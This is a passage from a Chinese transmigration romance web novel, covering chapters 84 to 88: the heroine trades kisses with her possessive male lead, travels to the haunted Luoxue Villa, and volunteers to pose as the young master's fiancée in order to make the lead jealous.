池镜花满心疑惑地朝他身后望去,只见桌上确实准备好了餐食,还冒着热气。 若是普通的早饭池镜花不会如此惊讶,可听说他亲手做的,那多少得尝尝咸淡。 “好。” 话音刚落,她便被他便被他拉着在桌前坐在,自己也要紧挨着她而坐。 池镜花没有急着吃饭,而是先仔细打量一番。 虽然不过普通的白粥和几样小菜,但都说色香味,那么,单从卖相上来说,至少,“色”和“香”已经具备。 这就说明,在做饭这件事情上,他并非新手。 她有些诧异地偏头眨眨眼睛。 “你什么时候学会做饭的?” “以前在王府的时候,他们经常会忘记给我送饭,等我去厨房已经什么也不剩了,所以久而久之,我就学会了做饭。” 谈及过往,奚逢秋只神色平静地回望着她,突然间,不知想到什么,他又弯眸笑了一下,阳光透过耳铛照进她明亮的眼瞳。 “而且,我了解你的喜好,不是吗?” 这倒是真的。 很早以前,他就格外喜爱为她点菜,在一次次试探中,不知不觉中摸透她的进食喜好。 池镜花抿唇不语,埋头喝粥,实则早已默认他的说法。 只是十分疑惑。 她一度认为那些事情不过因为他不信她,所以百般试探她,因为当时的他肯定不会像现在这样喜欢自己,不过令她惊讶的是——仿佛只要跟她有关的事情,奚逢秋都记得很清楚。 他在意自己的程度,远超乎她的想象。 思绪飘散间,奚逢秋眼眸低垂,正在用丝帕一点点轻轻擦拭她的唇角。 隔着单薄的丝帕,探出的指尖正若有似无地摩挲着她的唇瓣,仿佛每一寸肌肤在无形之中被他指尖阴冷的气息所缠上。 真是愈发黏人了! 池镜花正要说她自己来就好。 如同预料到她的想法,奚逢秋已经先一步握住她的手指,怕她突然消失而只能凭借本能牢攥在掌心。 柔和的日光落在他的侧脸,半阴半明间,他微微靠近,温和地笑着,像在诱导她说出自己喜欢的答案,咬下他故意放置的鱼饵。 “以后可不可以只穿我给你准备的衣裳,吃我给你准备的饭菜?” 跟她相处这么久,池镜花不明白他的意思才真奇怪。 她悄悄努力按耐狂乱的心跳,假装咳嗽一声,正色问道:“那要是你不在我身边呢?” 他握住池镜花的五指,慢慢指引她抚摸自己的脸颊,想让她清晰感受到他的存在,又在她的掌心轻轻蹭了蹭,微微掀开眼睫,眼底流露出几分危险的疯狂。 “我会一直陪在你身边,我们会一直在一起的,我不会让任何人将你我分离。” 见到她这副讨好举动,池镜花忍不住打趣道:“你是我的生活小管家吗?” “不可以吗?” 他表情极为天真地眨了一下眼眸,但这种情绪转瞬即逝,取而代之的是一抹无法藏匿的偏执。 “不止这些,我可以为你做任何事,你想让我做什么都可以。” 简而言之,他想让她生活的方方面面都充斥着他的痕迹。 池镜花明白他想要跟自己永远在自己的强烈心情,却有些哭笑不得。 “我是生活不能自理吗?” 不是这样的。 不是这样的。 不是这样的。 他的指腹慢慢抚上少女的后颈,额头轻轻抵上她的,虽然像这般程度的肌肤相贴无异于饮鸩止渴,却可暂时压制他心底冉冉升起的渴欲。 “不是的,只是我想为你做这些事……” 不知不觉中,她早已在自己身上留下她的气息。 他喜欢这样。 就好像他完全属于她的一样。 可她没有,她的身上完全没有他的气息。 这不公平。 但他不知道要怎么做,到底要怎么做才能与她完全交融,成为她体内的一部分。 好渴。 好渴。 好渴。 …… 察觉到流露出极度不正常的某些病态情感,池镜花怕他真要做出什么危险的举动,为安抚他,仰头轻轻亲了下他的额头。 很明显,没有安全感的他,容易应激,却也好哄的很。 垂落的眼睫微微震颤中,奚逢秋回过神来,虽然不知道问题在哪,但他们方才只是正常的聊天,所以定是自己做了让她心率飙升的事情。 就像是他们第一次见面,她因害怕自己时露出的心跳一样。 不该这样的。 奚逢秋紧紧地抱住她,指尖抚摸她的后背,声因为惧怕而颤抖。 “池镜花,不要讨厌我啊……” 啊? 池镜花快要被他气笑了。 讨厌什么啊讨厌,要不是怕他转不过弯来,她就差直接表白了! 况且,对于一个主动亲了好几次还莫名享受的异性,她能讨厌的起来吗! 真是不开窍。 第85章 第85章不可以分神啊…… 留在丰朝县的最后一日。 天已经完全黑了,客房的窗户开了一条细长的缝,隐隐可听见门外呼啸的冷风,屋内烛火闪烁。 由于奚逢秋几乎每时每刻都想黏着她,每当池镜花产生一丁点想要离开的心思,他就会主动抱住她,埋进她的颈窝,立有一道滚烫的呼吸缠绵地落在在她的颈侧。 “不可以……” 当声音落下的瞬间,不知怎么就被他拐上床,引诱她主动将他压身下的池镜花只能被迫仰头,感受到腰间和后颈的力气在逐渐聚拢加大。 刚沐浴完的少年按住她的后颈,脑袋埋进她的颈窝,贪恋她肌肤的温度。 不多时,他微微抬眸,眨了一下湿润的眼睫,口吻中掺杂着些许疑问和不确定。 “不会离开我的,对吗?” 她倒也并非真的想远离他,只是他太敏感了,哪怕是想到任务结束回家,都会被他察觉到“离开”信息。 当然,她不过设想,现在离任务结束还有很长一段的路要走。 当他稍微松手,池镜花低了低头,垂眸与身下之人对视,似水的双眸弯如月牙,露出个明媚张扬的笑。 “你觉不觉得我们现在像连体婴儿?” 活这么久,奚逢秋从未听过“连体婴儿”这几个字,也没听夫子提过。 他不明白。 他疑惑地歪了歪脑袋,佩于左耳的耳铛顺势落入身后漆黑的青丝,只露出一截血红。 “什么是连体婴儿?” 池镜花试着用最通俗易懂的话解释:“就是从母体出生开始长在一起的两个人。” “你我并非兄弟姐妹,没有任何血缘关系。” 奚逢秋神色平静地指出 她言辞中的漏洞,不知想到什么,下一秒,他忽地轻轻笑了一声。 “不过,若是可以跟你长在一起,倒是很好。” 这样,当身体上实现合二为一,他就再也不用担心她是否会离开自己。 知道他又在盘算什么变态的想法,池镜花毫不客气地打断他,直接捂住他的嘴巴,不想再听他说些不合常理的话语。 “想得美!” 奚逢秋没动,只是眼眸含笑地望她。 见他不反抗,池镜花松了口气,正要松手,指尖不小心滑过他的唇角。 无意识的一个小动作,却勾起藏在少年体内的某种渴望,他不知如何疏解,只能从过往经验中找寻答案。 “可以亲亲我吗?” 池镜花震惊地睁大双眼,一个字也不出话来。 和以往皆不同,他想亲吻时不再问自己“要不要”,而是请求。 一定是因为他渴望亲近她的心情达到某个临界值。 少年以微凉的指腹轻轻摩挲她的红润的唇瓣。 “天黑了,不会再有第三个人看见的。” ……怎么说得跟偷情一样。 他们是那种关系吗? 池镜花极为不解地眨了一下眼睛。 见她不动不语,奚逢秋勾住她的耳鬓碎发,一圈圈地缠在自己指尖,不经意间轻轻拉扯她的头皮神经。 “还是说,你不想亲我了吗?” 比起质问,更像是以自身为诱饵,一步步引导她做出令他满意的行为来。 嗯,很好,他的本质没变。 不管怎样,反正都要她先亲就是了。 “想想想!” 池镜花不停点头,直面自己内心真实的欲望,反正这么漂亮的一张脸,她亲多少次都不吃亏。 少女一闭眼俯身亲了上去,在他的唇上又快又轻地啄了一下。 “这样可不可以?” 如一阵风似的从他唇上掠过,只留下一缕淡淡香气,他不可能因为这点亲密接触就喂饱心中胃口渐大的渴欲。 奚逢秋半湿的睫羽微不可察地颤了一下,视线一步步向下游离,扫过她的脸颊和五官,停在她殷红的唇瓣,似想到什么,表情 “之前不是这样的。” 池镜花打从一就知道他不会止步于蜻蜓点水的吻,而且想要那种黏糊糊的亲吻。 她想让他说出来。 但在听见令自己满意回复时,池镜花反而瞬间脸红,心跳加速,在快出嗓子眼时,化为颤抖的低声。 “知道了……” 池镜花再度附身轻轻含住他的。 有过前几次的经验,这一次,她明显熟练得多,也学会该如何掌控节奏,懂得在合适的时机退出再缠住,不断交换彼此甜蜜。 在这样程度的亲密接触下,奚逢秋不由双臂将她圈得越来越紧,身躯微微颤抖诉说着极致的兴奋,想要与她融为一体的欲望才暂时得到缓解。 几分钟后,直到池镜花感到呼吸有些不太顺畅时,才试着从他口中退出,将拉扯出的银丝吞入口中,伏在他微微起伏的胸口不停喘息。 呼吸尚未调整过来,奚逢秋翻身而上,罕见地把她压在身下,垂下的乌黑发丝化为天然的囚牢,将她困在自己完全可看得见的范围内,观察她的一举一动。 角色完全调转。 池镜花与他认识这么久已经习惯占据主动方,不禁慌了神,连声音都在重复打颤。 “做、做、做什么?” 明明灭灭的烛火映在他的侧脸,他微微俯下身,鼻尖贴挨着她的,掀起长睫,弥漫着淡淡情欲的双眸一眨不眨地凝视着她。 少年湿漉漉的发丝如密不透风的蛛网将她包裹其中,空气中氤氲着湿润的水汽包裹着着她,进犯她的呼吸、浸进她的肌肤、进入她的躯体。 “我想试试……” 贴在少女耳鬓的一缕发丝被汗水打湿,她眨着眼睛,表情懵懵懂懂。 “试什么?” 奚逢秋以指腹动作轻柔地替她拨了下黏在脸颊的发丝,又替她拭去唇角的暧昧痕迹,指尖假装故意不小心剐蹭她已经红得滴血的唇瓣。 “你教教我,教教我怎样亲你,好不好?” 什么??? 若非他吐出的每一个字敲击过她的耳膜,滑进她的耳蜗,池镜花简直怀疑自己听错了。 从前,她以为他只是单纯喜欢她主动,结果还有不会的意思吗? 但教他亲自己…… 这算哪门子事啊! 池镜花本打算一口回绝,可想到若是把他教会了,以后自己不就省事了吗? 说干就干,她探出食指,轻轻点了点对方沾满自己气息的唇,“就……” 不知道为什么,他们之间已经记不清亲过几次了,但当她要把如何亲的步骤仔细说给对方听时,简直比第一次亲他还要令人羞耻。 池镜花斟酌再三实在说不出口,最后深吸一口气,采用最直截了当的方式解说。 “压上来就行了。” 少年像是被她的反应和话语给取悦到,轻笑一声。 “原来是这样。” 说罢,没有给她反应的时间,少年直接俯身亲了上来。 说是亲并不准确,他就像是逗猫一样,分明是亲,却喜欢用唇瓣来回极轻地摩挲她的。 在烛光下摇曳的耳铛贴着她的颈侧,若有似无荡过她的肌肤,留下的凉意仿佛蔓延至头皮。 仿佛正在勾起她更为深层的欲望。 ……不是,到底在折磨谁啊? 池镜花忍无可忍,双手搂紧他的脖颈,主动把他渴望的全部送上。 说白了,他根本就不是想让她教他如何亲吻,就是嫌亲的时间太短,又不想直接说,所以采用迂回战术引她主动。 他又成功了。 池镜花喜欢亲他,更喜欢他亲自己。 与他不断交换香甜的过程中,周围温度随之升高,仿佛闻见盛夏莲池中扑面而来的香气,引诱着将她拖入池下,找到水底的蜜果。 即便她愿意,可池镜花同时意识到个重要的问题。 他们整天又亲又抱,连睡觉都睡在一起,到底算什么关系呢? 不知怎地,奚逢秋蓦然从她的唇上离开,却十分不舍留恋地舐了一下她的唇角。 睁开眼眸时,少年眼底的浅蓝色雾气沾了些许落在鸦青睫羽上,随她缓慢眨眼的动作,飘落进她的眼眸。 “你在分神,对吗?” 此时,池镜花因动情无法聚焦的双眼眨个不停,没想到他会这样敏锐。 奚逢秋却还在继续追问,不经意歪头时的眉宇间透露出几分疑惑。 “跟我做这种事情,不舒服吗?” ……这她要怎么回答啊! 也没人告诉她只是亲一下,还得回答这么羞耻的问题啊! 池镜花将他搂得更紧,咬住唇瓣,垂下眼睫。 “那你呢?” “很好。” 他不假思索地很快答,说着,如羽毛般轻吻重新落在她的唇角,顺着她的耳后逐渐往下,在视线所能触及到的地方皆留下自己的气息。 “你亲我的感觉很好,我只能想到你,我只有你,我只想要你……” 池镜花脑袋空空,两眼睁着,却没在看任何人或事物,只有他的几段话语在不停回响,身体早已本能接受他的靠近。 她探出指尖去抚摸他,紧接着,摸到了他湿漉漉的发丝,大多数都贴在自己的颈间,缠着她的脖颈。 嗯……洗完澡不爱擦头发可不是什么好习惯,会生病的。 察觉到少女情绪的波动,可奚逢秋没有跟先前一样停下,而是低声提醒她。 “不可以分神啊……” 池镜花猛地意识回笼,发觉他在亲吻自己柔软敏感的耳垂。 她忍不住瑟缩了下,因为太痒本想推开他,硬生生忍住了,也没什么力气。 更不愿让他伤心。 她明白,奚逢秋喜欢她。 正因为喜欢,所以才会从一开始连碰都不会碰她一下,变成现在总是这样忍不住亲近她。 当然,也因他本就与别人不同。 池镜花十分乐意接收他的一切,也愿意给予他所渴望的。 无非她自身。 所以,方才她并非走神,只是不想再这样跟他不清不白地相处下去, 因此,她一定要想办法,戳破他们之间这可恶的一层窗户纸。 第86章 第86章想让这天地间只有他们二人。…… 游神会结束的第二日,按照计划,他们本应继续往京师前行。 冬日的阳光里掺杂着丝丝冷意,照在客栈一楼靠窗角落里池镜花的身上。 奚逢秋与她挨得极近,落在少女身上的暖阳顺势攀上他的衣袂,予他一丝不可多得的明媚。 池镜花在等男主。 这些天,她虽一直跟奚逢秋待在一起,但也没忘记他们要去京师的主线任务,所以他们在客栈一楼等,等赵星澜交还悬赏令,再一同去京城。 而奚逢秋,正坐在她身边,唇畔扬着温柔的笑,将自己的冰凉的发丝缠在她的脖颈处还觉不够,甚至五指随意插|进她的发间,指尖阴冷的气息游荡在头皮四周,轻轻扯动她的神经。 池镜花痒得很,趁其他人不曾注意到角落里的他们,一把抓住他胡作非为的手指,假装生气地看了他一眼。 “不要弄了。” 奚逢秋轻轻应声,转瞬间却抓住她的手,像是发现什么有趣的事情,垂眸打量间,指腹轻轻摩挲把玩她的指尖。 池镜花:“……” 以前也没这样啊! 她不禁疑惑。 男配对自己的距离感到底为何一滴也不剩了? 这才只有70的好感度,等好感度涨到100,究竟会发生怎样的事情,池镜花根本想象不出来。 思索间,一位青衣道士走到两人跟前,看见两人亲密的举动,脸颊微红,故意掩唇咳嗽一声提醒。 “奚公子,池姑娘,可以了,悬赏令的赏金已经拿到,我们现在就离开这里吧。” 回过神的池镜花正要抽离手指,却反被对方握得更紧。 她抬眸与他对视,望见他的含着清润笑意的双眸好像在说“不可以”。 即便有人,他也还是要与她牵手。 池镜花只好由着他去了,笑着拉他一同跟上男主的脚步。 “赶紧走啦!” 没走两步,似想起什么,赵星澜转过身,表情犹豫,吞吞吐吐道:“对了,在去京师之前,赵某还得去个地方替家师做件事,可能会耽误些时日,若二位……” 猜到他想说什么的池镜花立即截断他的话语。 “不着急,没关系,我们一起去京师!” 见状,赵星澜实在不好再说分别的话,垂眸瞥了一眼两人一直紧紧牵着的十指,耳尖又开始微微发烫。 出了客栈,呼啸的寒风如冰刃似的切割皮肤,冷意直往人骨缝里钻。 池镜花一出门就忍不住打了个冷颤,抬头看见客栈门口停着一辆马车,马背上坐着一名年轻的马夫,将周身裹得严实。 见到雇主来了,马夫讨好般笑着跳下马背,弯腰替他们掀开轿帘。 “几位,请。” 在池镜花跟奚逢秋两个人疑惑不解的目光中,赵星澜挠脸尴尬解释。 “因为天气降温,所以赵某私自雇了一辆马车,希望二位不要介意。” 这哪里会介意啊,男主简直不要太贴心。 池镜花连连摆手,“不会不会。” 说着,她跟在赵星澜后面,把奚逢秋推进马车,自己也赶紧钻进去,坐在他身侧。 马车颠簸地往城外前行,有坚固厚实的檀木阻隔冷风,身躯的冷意很快驱散。 池镜花随意搓揉了下冰凉的双颊,抬眸望向对面的男主。 不知是不是她的错觉,她觉得男主好像在尽量避免与他们视线相对。 是他们做了什么吗? 池镜花不由又望向身侧,看见奚逢秋也正偏头看她,如诗如画的漂亮眉眼始终凝着浅笑。 这两天,她一直都与奚逢秋待在一起,他做什么自己都知道。 既如此,她更不明白男主为何对他们避而远之。 直到她看见少年唇瓣一张一合,一道悦耳动听的清泉声拂过她的耳廓。 “要继续牵手吗?” 池镜花本想回“好”,却察觉对面传来的异样。 她看见赵星澜耳尖红得滴血,坐在最靠里的位置,恨不得把自己缩成一团。 池镜花记起,男主在原著中被外向奔放的女主撩的时候也是这般羞涩,活脱脱的一个娇夫形象。 意识到是自己与奚逢秋过分亲近给道士身份的男主造成困扰,池镜花拍了下奚逢秋的指尖,不再牵他的手。 毕竟马车里不是只有他们两个人。 在奚逢秋疑惑的眼神中,池镜花轻咳一声,决定转移话题。 在相对封闭的空间里,阵阵清香中夹杂着淡淡血腥。 池镜花目光落在赵星澜右手手腕处露出的一截难以观察到的纱布,有些困惑地问:“赵道长,你受伤了吗?” 马车不经意地颠了一下,赵星澜猝然抬头,惊诧于她卓越的观察力。 尽管如此,他还是老实巴交地点了点头。 “无碍,只是一些小伤,也怪这女鬼过于狡猾,竟还有编织幻境的能力。” 听他所言,池镜花微微张开嘴巴,诧异之中眨了眨眼睛。 赵星澜分别看了一眼两人,早就猜到他们关系不简单,所以自然而然地认为他们会共享每一条信息。 “奚公子没跟姑娘提丰朝县女鬼的事情吗?” 说了。 但只在幻境里说了,一离开幻境,他就当没有发生过这件事情一样。 令池镜花万万没想到的是,这傩神的烂摊子竟是由男主来收拾的。 原著里有说这回事吗? 时间太久,她记不清了。 但一定是奚逢秋主动找男主请他帮忙的。 也不知道究竟用了什么法子,等他们独处的时候再好好问问。 思考间,轿帘被外面被人掀开,年轻马夫粗糙的一张脸冻得通红,眼睛却亮晶晶的,他探出半颗脑袋,笑眯眯地问他们。 “对了,还没问几位究竟要去往何处?” 赵星澜微微点头致意,道出他们接下来要去的地方。 “落雪山庄。” 听见这话,方才还笑盈盈的马夫脸色大变,立即放下轿帘,以缰绳勒停马匹。 在一声高昂的马嘶声中,马车剧烈颠簸一下,大幅度向后仰倒。 池镜花尚未反应过来之时,整个人已撞进坐在里侧的奚逢秋怀里。 少年背部紧贴着身后檀木,被她完全挤在角落里,几乎承受着她的全部。 马车很快恢复,池镜花发觉自己双手正抓着他的衣裳,身躯压着他的,脸颊贴在他的心口……完全把他当成了肉垫! “对不起对……”不起。 回过神来的池镜花不停道歉,正要仰头查探他的情况,不想正要起身,却被他抚着后脑按进他的怀里,背后同时多出一只揽抱住她的手。 他没有说话,而是睫羽颤了一下,俯身贴在她耳边急促的呼吸,极其缠绵地小声唤她一声姓名,无不彰显出自己的情绪起伏。 “池镜花……” ……靠! 当熟悉又炙热的呼吸游走在她耳畔,顺着颈侧仿佛正在她亲吻埋于衣下的肌肤,池镜花浑身都绷直了。 她怎么也没想到,只是马车颠簸让自己无意掉进他怀里的动作,竟也能让他这么喜欢。 两个人独处的时候,池镜花怎样都行,但现在还有别人在呢…… 能不能收敛一点! 她脸颊微红,咬牙要从他怀里挣扎着爬起来,就在此时,深褐色的轿帘已被马夫右手撩开,隐约露出他身后城外树林里的粗壮树干。 “几位,实在对不住,这落雪山庄我去不了。” 赵星澜万分不解,“这是为何?” 马夫上下打量着他面前的几位雇主,虽实在猜不透他们的身份,却也对落雪山庄的恐怖名号唯恐避之不及。 “落雪山庄长年闹鬼,你们不知道?” 闹鬼? 池镜花好奇地偏头望去,刚好与转过头的赵星澜对上视线。 撞见他们二人面对面亲密相拥的动作,赵星澜识趣地赶紧移开视线。 马夫见怪不怪,目光淡淡一扫两人,重新落在赵星澜脸上。 “不管如何,现在你们至少知道落雪山庄闹鬼一事,所以,若几位真想去落雪山庄,那就请别人带路吧。” 见一向殷勤的马夫态度冷淡下来,赵星澜想起下山前年过半百的师父教他的谈判技巧,便取出一沉甸甸的荷包。 “小兄 弟,这是我的全部家当,只求你能将我们带到落雪山庄附近。” 马夫接过荷包掂量了下。 他想到这些钱加上先前攒的那些,足以在丰朝县购置一处位置不错的房产,那么,为此冒险一次也未尝不可。 马夫将银子揣进怀里收好,在重新启程前特地嘱咐他们。 “说好了,我可不去落雪山庄,所以只能将他们带到那附近,剩下的路程你们自己走,不过也别担心,若是你们脚程快的话,顶多半天时间就到了。” 赵星澜不疑有他地点头同意。 马夫这才勉强同意接这单生意。 赵星澜松了口气,转而又想到什么,忙叫住马夫,说要与他同坐在外面。 马夫一开始以外面太冷为由拒绝,可赵星澜坚持说没关系,不好得罪雇主,只好同意。 在同马夫一道去外面之前,赵星澜目不斜视地望着外界,表情僵硬地与他两人打了声招呼。 池镜花无话可说。 正因为知道赵星澜要跟马夫坐在车外的原因,所以才觉得无语。 虽然他们之间仅止步于简单的拥抱,可对于原著中设定的不谙世事的纯情道士来说已经过于刺激。 她想让奚逢秋松手。 不料指尖刚碰到他的,奚逢秋的额头忽然轻轻抵住她的肩胛。 少年垂下的乌黑发丝落在她的肩上,仿佛为把她纳入自己的世界而提为她编了个温柔的樊笼,稍显颤抖的声音中满是眷恋和偏执。 “又只剩你我了……” 他好想让这天地间只有他们二人。 第87章 第87章让她只说自己想听的。 位于齐州的落雪山庄其实与丰朝县距离不近,马夫能够知道落雪山庄现如今的情况全靠他长年在外奔波消息灵敏。 不过,就算再缺钱那也得有命花,跟妖鬼有关的事情他鲜少插足,实在不得已,就跟这次一样,只远观而不靠近。 马车一路颠簸,运气好的话,途经城镇,几人找间客栈休息一晚,实在没辙就只能在破庙或野外将就一下。 山路崎岖,风沙又大,虽有马车代步,但移动速度依旧受限。 一个月后,当健硕的马匹因不间断地赶路而瘦了一圈后,马夫终于带领他们赶到齐州,却只敢把他们送到城楼门下,就连进城都得斟酌一下。 把几人安全送到目的地,在返程之前,马夫抓紧缰绳,脸颊冻得发紫,眼神狐疑地上下扫射打量他们。 “几位该不会是去落雪山庄捉鬼的吧?” 赵星澜一笑而过,没有正面回应他的问题,抱拳礼貌地道了声“多谢”。 马夫瞅了眼大开的城门,分明阳光万里,可因心中对鬼神的恐惧,目之所及的一切,在他眼中变得阴森可怖。 他不禁打了个冷颤,刺骨的寒冷没把他冻着,倒被自己脑袋中的假想鬼吓出一身冷汗。 “得了,我走了,你们自求多福吧。” 马夫驱车扬长而去,背影于愈来愈小,直至消失于冷风中。 池镜花眨了两下眼睛,蓦地感觉指尖一凉,低头一看,是奚逢秋触碰她的手指,轻轻摩挲她的肌肤。 分明渴望贴近,却总在关键时刻止步,等她主动接近。 有时候,池镜花真挺无奈的,也觉得自己挺没有底线的,就像觉得他好看而可耻地为此不停心动。 她直接抓住他,不给他任何反应时间,赶紧跟上男主的步伐。 奚逢秋没有说话,只想与她贴紧些,哪怕只有牵手。 跟着唯一认路的赵星澜,他们找到了落雪山庄。 只见落雪山庄虽坐落城内,却处于郊外,山庄四周杂草荒芜,仿佛藏在日光照不进的地方,处处透着阴冷之意。 一路跟随几人来到落雪山庄的白鹤“嗖”地一下,飞越过门墙,落进院内,接着,有人开了门。 是一名穿着朴素的老管家,两鬓生出的几缕白发。 没等他询问几人来意,赵星澜已禀明来意,说是替家师来这里寻个人,名叫时橘。 是了。 在原著中,男主来落雪山庄就替他师父给故人送一封信。 站在门后的老管家满脸诧异,目光一一扫过几人,问道:“你们要找夫人?可她早在七年前就过世了。” 赵星澜满眼的不可置信,师父不可能让他给一个死人送信,除非师父他不知道时橘已死。 在两方沉默的对峙中,池镜花也在努力回忆原著。 关于落雪山庄的剧情,其实原著没有细致描写,只说男主替他师父送信,然后替山庄解决闹鬼的始作俑者,此事就算了结。 “钱叔,是谁来了?” 说话间,老管家身后来了位杵着拐杖的年轻男子,男子右腿行动不便,五官清秀却形若枯槁,神色病恹恹的,还没说几句话就咳嗽不止。 老管家立即迎上前去,责怪他在这寒冬腊月的不听话跑出来瞎转悠。 “少庄主,您怎么出来了?不是让您好生歇着吗?天这么冷,您身子骨又弱……” “我不放心。” 男子直截了当地打断管家老父亲般的碎碎念,又将视线投向门口的几,笑盈盈地问:“几位是来寻我母亲的吗?” 赵星澜轻轻点头。 男子微微笑着,毫无血色的唇瓣一张一合:“这天寒地冻的,若是不嫌弃,几位可进来说话。” 确实,这鬼天气,冻人的很。 池镜花站在这还不到十分钟就已经快被冻傻了。 听到男子邀请他们进屋躲避风寒,她眼睛一亮,下意识地歪过头,视线绕过站在身前的赵星澜,十分好奇地盯着男子。 感应到她的目光,男子冲她彬彬有礼地微笑示意。 池镜花眼睫眨了两下,不禁看向自己身侧,发现奚逢秋也正一错不错地凝望着她,视线对上的瞬间,不知为何,他长睫微颤,垂眸看向两人交缠的十指,轻轻捏了下她的指骨。 池镜花被他折腾得很痒,干脆抽离手指,推着奚逢秋,跟男主一块进山庄躲避风霜。 男子说他叫吴清泽,是落雪山庄的少庄主,目前山庄内只有他跟老管家还有几个下人在住,究其原因,主仆俩互看一眼,都露出苦涩的笑。 屋内烧着火盆,老管家见火势渐小,往里丢了几块碳,接着,又拎着个古旧的茶壶分别给几人上了热茶。 池镜花捧着瓷杯轻抿一口,感受着掌心的温度,全身都暖和起来了。 吴清泽落于主座上,身上披着雪白的狐裘大衣,右手边放置的拐杖看上去有些年头。 当赵星澜好奇问起落雪山庄究竟发生何事时,他指腹轻抚拐杖,似是忆起什么过往。 “这事说来也简单,不知几位听没听说过山庄闹鬼一事?” 提及剧情关键字,池镜花不由再度望过去。 吴清泽的目光回落到她白皙的脸庞。 “其实,自母亲在七年前过世以后,山庄内就一直有人陆续离奇死亡,虽然旁人都说是母亲的鬼魂作祟,可我却觉得此事与我有关,因为这些人有个共同点,便都是我的亲人。” 池镜花边喝热茶边专心听他说话,时不时点头致意。 说话间,吴清泽杵起拐杖从管家手里接过茶壶,慢悠悠地走到她跟前,微笑着弯腰。 “要添茶吗?” 池镜花点点头,将已经空了的杯盏递出去,等到吴清泽为了斟了一杯茶才后知后觉发生了什么,她眨眨眼,望着淡青色的茶水,本能地道谢。 “额……谢谢。” 屋内碳火噼里啪啦地燃着,照亮吴清泽因被病痛折磨多年的病恹脸庞,微微上扬的眉梢点着一抹淡淡笑意。 “池姑娘不必客气。” 池镜花没说话,而是移开目光望向身侧。 因无聊而在翻花绳的奚逢秋微微偏头,室内暖色的光晕映出他昳丽的五官。 他就这般安静地望着她,蓝色双瞳映出她一人身影,视线如生在阴暗角落里的潮湿青苔,黏糊糊地缠着缠绕着她身体的每一处。 池镜花立即明白他的用意。 但是, 这到底吃的哪门子醋啊! 既然这么喜欢她,倒是赶紧认清自己心意,然后跟她表白啊! 她又不会拒绝…… 想到可能会出现的表白场景,池镜花脸颊微微发烫,大抵由于屋内温度太高,有些热。 她直接绕过吴清泽,将奚逢秋手里已经乱作一团的白丝扔在地上,又把吴清泽给自己倒的那杯水霸道地塞进他手里。 顿了下,再次想到什么,池镜花握住他的杯盏,直接喝光了他的,擦了擦嘴唇的水迹,便回到自己的座位上坐好。 全程一言不发。 但当池镜花重新落座,她便忍不住偷瞄他,却发现奚逢秋得了自己的那杯以后也不喝,而以漂亮的修长指尖细细描摹杯口处她所留下的痕迹,好像在抚摸她的唇一样。 池镜花抿唇时,意外发觉唇瓣真有点热。 但现在不是想这些事情的时候。 “哦,对了,我想到一个问题。” 池镜花轻轻假咳一声,放下茶杯,望着吴清泽,一本正经地给他提供解决问题的办法。 “既然这幕后真凶只加害跟少庄主你关系近的人,那是否可以找你的亲戚帮忙把他引出,继而抓住他。” 跟奚逢秋待得太久,她的思考模式多多少少受他影响,所以不自觉地就想到钓鱼执法的路子。 没什么道德,但奏效。 吴清泽点点头,“我明白姑娘的意思,可我在这世上,已再无亲近之人。” 一直站在他身侧的老管家此时脑海中灵光一现,站出来兴致勃勃地讲述自己的解决之策。 “少庄主,我倒是有个主意,正如池姑娘所说,我们可以安排个人帮您引出这幕后之人现身,再说,少庄主您早已到了婚配的年龄,有个未婚妻不足为奇。” 吴清泽眉头紧蹙,低头沉思片刻,得出结论后望向三人,“可行倒是可行……只是,会不会太耽误几位的时间?” 他犹记得赵星澜打从一开始就提过他们几人正在一同前往京师,而来山庄只是受他师父所托,给自己的母亲送封信。 吴清泽自然好奇已故母亲与赵星澜的师父是什么关系,可赵星澜并不清楚。 赵星澜在思索。 老管家提供的计策固然可行,但他现在并非孤身一人,若想留下还得看同行的另外两人是否有意。 池镜花巴不得如此,而奚逢秋,则没有太大的反应,似乎只要可以跟着池镜花就已经足够。 见状,赵星澜这才同意暂时留下帮吴清泽的忙,“其实赵某很是好奇时……夫人过世原因,若是能够调查清楚,回去也好给家师一个交代。” 见事情就这样定下,池镜花急忙举手主动请缨。 “要不让我试试吧。” 在吴清泽跟赵星澜不解的眼神中,池镜花选择看向她在意的奚逢秋,注意观察他的反应。 “我的意思是,由我来假扮少庄主的未婚妻,来帮助你们抓住凶手,如何?” 池镜花并非真的热心肠。 若她猜的不错,这段剧情应与原著十分贴合,所以,原著里一定也有这么个“未婚妻”形象,而她不过恰好接替了这段剧情。 究其根本,还是奚逢秋。 因为不久前,她找到进一步攻略男配的突破口。 既然他会吃醋她与其他异性接近,那么,她就利用他强大的占有欲,激他早日明白自己心意,让两人的关系更进一步。 而且假扮吴清泽未婚妻既能维持原著剧情,还有助于自己攻略男配,何乐而不为! 于是她更加仔细观察奚逢秋的情绪变化,可一时间还没发现他有什么不对劲的地方。 直到少年面带温和笑意地缓步朝她走来,浅白的衣袂撩过火盆边缘,空气中扬起微不可察的黑灰,无意沾上他的衣角、指尖。 他停在池镜花跟前,不足半米的距离,他轻轻歪头,坠在左耳的耳铛微倾,贴着他的苍白侧颈,少年浮在眼底的笑意更甚,一字一句温柔地询问。 “你要与他成亲吗?” 池镜花老实摇头,“不是成亲,只是……”假扮他的未婚妻。 但话没说完,沾着碳火灰烬的衣袂从她眼前晃过,他的左掌心已抵着她的后脑,微凉的右手捂住她的嘴巴,阻止她继续说下去。 让她只说自己想听的。 第88章 第88章他不会离开她的。 在碳火的温暖下,池镜花的身躯的冷意早已驱散,可当奚逢秋指尖碰到自己瞬间,仿佛有股冰凉如游走的冷蛇顺着肌肤钻进血肉,令她忍不住打了个冷颤。 她纤细的长睫一颤,缓慢抬眸,与他对上视线,看见他浮在他眼底表面的温柔笑容,可背后却掩藏着无尽的疯狂。 池镜花知道又是他那偏执的占有欲在作怪,以前就算了,可唯有这一次,不愿再满足他。 就算方法极端,她也得让他想明白自己对她的感情。 念及此,池镜花立马拿开他的手指,退后一步,主动与他拉开些距离,表情坚毅,一字一句说得认真。 “不管你有什么想法,反正我都是要帮少庄主的。” “是吗?” 说话时,奚逢秋依旧笑着,哪怕她已给出回应,也想要从她那里得到一个确定答案——一个让自己与她口中截然相反的答案。 可尽管他一再尝试,结果依旧不是他所希望的。 “是。” 池镜花神色坚定地点头。 若说方才还有些犹豫,那么当她切切实实的感受到奚逢秋因她而情绪波动,她确定这就是自己要的效果。 吴清泽跟钱叔主仆两人互看一眼,实在有点搞不清楚目前状况。 不过,事情在池镜花的强烈坚持下还是就这么定下了。 但以吴清泽未婚妻的身份自居毕竟危险太大。 